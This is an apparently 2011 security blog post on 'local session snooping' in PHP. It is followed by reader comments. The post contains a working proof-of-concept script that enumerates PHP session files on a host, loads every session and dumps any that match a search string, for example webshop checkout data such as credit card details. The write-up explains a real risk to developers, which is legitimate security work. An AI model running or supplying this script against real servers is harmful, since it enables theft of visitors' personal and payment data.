( ~~~ )
  ))^ ^((
 ((* - *))
   _) (_
 / '--' \     ^
//(_  _)\\   /_\
\\ )__( //   .'
 (( v  ))   (
   \| /\     '-.
    K(  \       )
    |\\  '-._.-'
    ||\\
  *_-P/,P
     '-
Want your PHP application manually audited? Check out Xxor AB's PHP Security Auditing Service

Wednesday, August 10, 2011

Local Session Snooping in PHP

Local session snooping is not as much a security issue as a way of gathering information from an already compromised web application. Unless it is a badly configured shared host where an attacker might gather otherwise unobtainable information. It's basically about extracting all the information a web application stored in the super global $_SESSION variable.

Nevertheless, it is easy. The one thing needed is a session id (the value of the PHPSESSID cookie). If the host uses PHP's default session handler, these could easily be enumerated as in the POC further down in this post.

Here is the most basic example of local session snooping. session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu'); session_start(); var_dump($_SESSION); session_write_close();
  1. Set the session id you would like to snoop on.
  2. Start the session.
  3. Dump all of the info contained within the $_SESSION variable.
  4. Finally, close the session.

A dangerous scenario

We have all seen these multistage checkouts in different webshops. You fill in your address, click next, fill in your preferred shipping method, click next, fill in your credit card details and so on. There is also often a back button and the visitor can go back an fourth without loosing the values previously entered. The easiest way to code such a feature is to store all form values in the $_SESSION array.

That is information you do not want to have lying around in your session storage. What is even more troublesome is that these session variables are rarely cleared when finished doing their job. They are retained until the server decides the session is to old and wipes it. This could take hours or even days on a less active host.

The attacker

Consider a remote attacker who broke into a webshop or another web application that contains potentially valuable data. The attacker would be able to snoop thrue every active or lingering session. The attacker might even setup a automatic script that does it hourly.

The worst case scenario would be a badly configured shared host where the attacker are able to snoop on every session belonging to all of the hosted websites.

POC

Here is a short script to find and search every accessible session for a given string. <?php // http://ha.xxor.se/2011/08/local-session-snooping-in-php.html // A string to search for in every session. $search_for = 'test'; // Retrieve the path where session files are saved session_save_path(); // Might have to be called twice... not sure. $sesspath = session_save_path(); if(php_sapi_name()!=='cli')echo "<pre>\n"; // Test session.save_handler $sessmod = session_module_name(); if(empty($sessmod))$sessmod = ini_get('session.save_handler'); echo "[i] Session save handler: $sessmod\n"; if($sessmod !== 'files'){ echo "[!] Possible Error: session.save_handler is set to '$sessmod' instead of 'files'. Trying anyway.\n"; } if(empty($sesspath)){ $sesspath = ini_get('session.save_path'); if(empty($sesspath)){ if(function_exists('sys_get_temp_dir')){ $sesspath = sys_get_temp_dir(); }else{ die('Error:Cant fins session save path. Try setting it manualy.'); } } } $sesspath = array_pop(explode(';',$sesspath)); echo "[i] Session save path: $sesspath\n"; // Enumerate sessions $sessions = array(); clearstatcache(); if(!findSessIn($sesspath)){ die("[!] Error: Cannot open the session save path.\n"); } function findSessIn($dir){ global $sessions; if(!($handler = opendir($dir))){ return false; } while ($file = readdir($handler)){ $path = substr($dir, -1) === DIRECTORY_SEPARATOR ? $dir.$file : $dir.DIRECTORY_SEPARATOR.$file; //echo "$path \n"; if (substr($file, 0, 5) === 'sess_' && is_readable($path)){ $sessions[] = substr($file, 5); }elseif(strlen($file) === 1 && is_dir($path) && $file !== '.'){ findSessIn($path); } } closedir($handler); return true; } // Search echo "[i] Searching for \"$search_for\"...\n"; foreach($sessions as $session){ session_id($session); session_start(); if(stristr(serialize($_SESSION), $search_for) !== FALSE) { echo "[+] somehing found in $session. Serialized data: ".serialize($_SESSION)."\n"; }else{ echo "[-] nothing found in $session.\n"; } session_write_close(); } ?>

3 comments:

  1. Hey,
    Thanks for the writeups - wouldn't these affect scenarios where session files are readable by all users. Most often session files have 600 perms, which would prevent other users from reading them .. Or what am I missing out?

    ReplyDelete
  2. @Anonymous
    No, you are right. As I said, this is a way of gathering more information from a compromised website. Unless it's hosted in a badly configured shared host where session files can be read by anyone.

    I changed a few words in the article to hopefully make it clearer.

    ReplyDelete